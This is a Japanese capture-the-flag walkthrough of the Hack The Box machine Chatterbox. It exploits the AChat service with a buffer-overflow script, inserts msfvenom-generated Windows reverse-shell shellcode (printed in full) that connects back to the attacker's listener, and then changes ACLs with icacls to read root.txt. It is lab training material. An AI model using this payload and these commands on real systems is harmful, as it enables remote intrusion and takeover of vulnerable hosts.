Chatterbox_HTB

概要

• Chatterbox は非常に単純なマシンであり、完了するには基本的なエクスプロイトの修正または Metasploit のトラブルシューティング スキルが必要です。

SCAN

┌──(kali㉿kali)-[~/Chatterbox]
└─$ nmap -p1-10000 -sC -sV -T4 10.10.10.74
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-03 20:24 EST
Nmap scan report for 10.10.10.74
Host is up (0.45s latency).
Not shown: 9994 closed tcp ports (conn-refused)
PORT     STATE    SERVICE      VERSION
135/tcp  open     msrpc        Microsoft Windows RPC
139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open     microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
1024/tcp filtered kdm
9255/tcp open     http         AChat chat system httpd
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
9256/tcp open     achat        AChat chat system
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-01-04T01:30:52-05:00
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-01-04T06:30:55
|_  start_date: 2024-01-04T06:21:26
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 6h40m00s, deviation: 2h53m14s, median: 4h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 405.84 seconds

評価

• ACHATとういうサービスは脆弱性がありそう
• searchexploitで36025.pyが見つかる。

Initial Access

準備

• マニュアル通りmsfvenomを利用して書き換えるファイルを作成

┌──(kali㉿kali)-[~/Chatterbox]
└─$ msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4444 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
buf += b"\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68"
buf += b"\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31"
buf += b"\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51"
buf += b"\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31"
buf += b"\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42"
buf += b"\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39"
buf += b"\x75\x34\x4a\x42\x4b\x4c\x49\x58\x63\x52\x59\x70"
buf += b"\x49\x70\x79\x70\x43\x30\x71\x79\x39\x55\x50\x31"
buf += b"\x75\x70\x71\x54\x42\x6b\x4e\x70\x70\x30\x32\x6b"
buf += b"\x70\x52\x4c\x4c\x44\x4b\x31\x42\x6d\x44\x62\x6b"
buf += b"\x44\x32\x4e\x48\x6a\x6f\x48\x37\x30\x4a\x6b\x76"
buf += b"\x6e\x51\x4b\x4f\x36\x4c\x6f\x4c\x71\x51\x73\x4c"
buf += b"\x6a\x62\x4e\x4c\x4b\x70\x47\x51\x68\x4f\x6c\x4d"
buf += b"\x6d\x31\x67\x57\x37\x72\x48\x72\x70\x52\x42\x37"
buf += b"\x64\x4b\x6f\x62\x5a\x70\x52\x6b\x4f\x5a\x4f\x4c"
buf += b"\x44\x4b\x70\x4c\x5a\x71\x43\x48\x69\x53\x61\x38"
buf += b"\x4b\x51\x77\x61\x30\x51\x62\x6b\x72\x39\x4f\x30"
buf += b"\x4a\x61\x78\x53\x64\x4b\x6e\x69\x6a\x78\x48\x63"
buf += b"\x6e\x5a\x4d\x79\x52\x6b\x6e\x54\x72\x6b\x4b\x51"
buf += b"\x59\x46\x30\x31\x59\x6f\x34\x6c\x75\x71\x38\x4f"
buf += b"\x5a\x6d\x6a\x61\x57\x57\x6c\x78\x6b\x30\x34\x35"
buf += b"\x68\x76\x79\x73\x61\x6d\x79\x68\x6f\x4b\x61\x6d"
buf += b"\x6f\x34\x73\x45\x49\x54\x62\x38\x62\x6b\x30\x58"
buf += b"\x4c\x64\x7a\x61\x76\x73\x33\x36\x42\x6b\x7a\x6c"
buf += b"\x6e\x6b\x72\x6b\x42\x38\x4d\x4c\x39\x71\x5a\x33"
buf += b"\x54\x4b\x49\x74\x64\x4b\x79\x71\x76\x70\x61\x79"
buf += b"\x4e\x64\x6c\x64\x6b\x74\x51\x4b\x6f\x6b\x53\x31"
buf += b"\x6e\x79\x30\x5a\x30\x51\x59\x6f\x47\x70\x61\x4f"
buf += b"\x6f\x6f\x6f\x6a\x34\x4b\x6e\x32\x5a\x4b\x54\x4d"
buf += b"\x6f\x6d\x31\x58\x6d\x63\x4e\x52\x69\x70\x6b\x50"
buf += b"\x51\x58\x61\x67\x32\x53\x4f\x42\x61\x4f\x72\x34"
buf += b"\x33\x38\x6e\x6c\x42\x57\x6c\x66\x49\x77\x79\x6f"
buf += b"\x78\x55\x46\x58\x64\x50\x6d\x31\x6b\x50\x39\x70"
buf += b"\x6f\x39\x79\x34\x4e\x74\x52\x30\x42\x48\x6f\x39"
buf += b"\x63\x50\x70\x6b\x59\x70\x79\x6f\x48\x55\x6e\x70"
buf += b"\x32\x30\x72\x30\x6e\x70\x51\x30\x4e\x70\x31\x30"
buf += b"\x4e\x70\x63\x38\x39\x5a\x7a\x6f\x77\x6f\x77\x70"
buf += b"\x39\x6f\x48\x55\x44\x57\x32\x4a\x6d\x35\x63\x38"
buf += b"\x4c\x4a\x7a\x6a\x6e\x30\x6c\x44\x42\x48\x4b\x52"
buf += b"\x4d\x30\x4e\x31\x6f\x6c\x34\x49\x48\x66\x42\x4a"
buf += b"\x4c\x50\x50\x56\x70\x57\x61\x58\x53\x69\x43\x75"
buf += b"\x70\x74\x73\x31\x79\x6f\x38\x55\x45\x35\x47\x50"
buf += b"\x64\x34\x5a\x6c\x4b\x4f\x30\x4e\x4b\x58\x64\x35"
buf += b"\x58\x6c\x51\x58\x48\x70\x35\x65\x67\x32\x71\x46"
buf += b"\x39\x6f\x38\x55\x31\x58\x33\x33\x50\x6d\x73\x34"
buf += b"\x39\x70\x53\x59\x58\x63\x4e\x77\x31\x47\x30\x57"
buf += b"\x6d\x61\x59\x66\x52\x4a\x4d\x42\x71\x49\x32\x36"
buf += b"\x4a\x42\x6b\x4d\x31\x56\x76\x67\x31\x34\x4b\x74"
buf += b"\x4d\x6c\x59\x71\x6a\x61\x32\x6d\x4f\x54\x6c\x64"
buf += b"\x6e\x30\x47\x56\x59\x70\x50\x44\x4f\x64\x6e\x70"
buf += b"\x6e\x76\x70\x56\x6e\x76\x4f\x56\x6f\x66\x70\x4e"
buf += b"\x30\x56\x31\x46\x30\x53\x50\x56\x72\x48\x71\x69"
buf += b"\x36\x6c\x6f\x4f\x32\x66\x4b\x4f\x47\x65\x54\x49"
buf += b"\x69\x50\x30\x4e\x6e\x76\x50\x46\x4b\x4f\x6c\x70"
buf += b"\x33\x38\x6d\x38\x72\x67\x4b\x6d\x63\x30\x69\x6f"
buf += b"\x6a\x35\x35\x6b\x6a\x50\x65\x65\x47\x32\x72\x36"
buf += b"\x31\x58\x77\x36\x65\x45\x37\x4d\x73\x6d\x79\x6f"
buf += b"\x47\x65\x6d\x6c\x6b\x56\x73\x4c\x6a\x6a\x53\x50"
buf += b"\x4b\x4b\x69\x50\x50\x75\x6a\x65\x47\x4b\x30\x47"
buf += b"\x4e\x33\x62\x52\x72\x4f\x62\x4a\x59\x70\x42\x33"
buf += b"\x79\x6f\x4a\x35\x41\x41"

• bufの部分を36025,pyと書き換える

実行

# nc待ち受け
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -vlnp 4444
listening on [any] 4444 ...
# 実行（python2）
┌──(kali㉿kali)-[~/Chatterbox]
└─$ python2 36025.py
---->{P00F}!
# shellを取得
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -vlnp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.74] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

情報収集

# root.txtの権限確認
C:\Windows\system32>icacls c:\Users\Administrator\Desktop\root.txt
icacls c:\Users\Administrator\Desktop\root.txt
c:\Users\Administrator\Desktop\root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files
# Desktopの権限を確認するとDesktopまでは権限があるから変更が可能
C:\Windows\system32>icacls c:\Users\Administrator\Desktop
icacls c:\Users\Administrator\Desktop
c:\Users\Administrator\Desktop NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                               CHATTERBOX\Administrator:(I)(OI)(CI)(F)
                               BUILTIN\Administrators:(I)(OI)(CI)(F)
                               CHATTERBOX\Alfred:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files
# Desktopを振るアクセスにする
C:\Windows\system32>icacls c:\Users\Administrator\Desktop\root.txt /grant alfred:F
icacls c:\Users\Administrator\Desktop\root.txt /grant alfred:F
processed file: c:\Users\Administrator\Desktop\root.txt
Successfully processed 1 files; Failed processing 0 files
# 権限確認
C:\Windows\system32>icacls c:\Users\Administrator\Desktop\root.txt
icacls c:\Users\Administrator\Desktop\root.txt
c:\Users\Administrator\Desktop\root.txt CHATTERBOX\Alfred:(F)
                                        CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files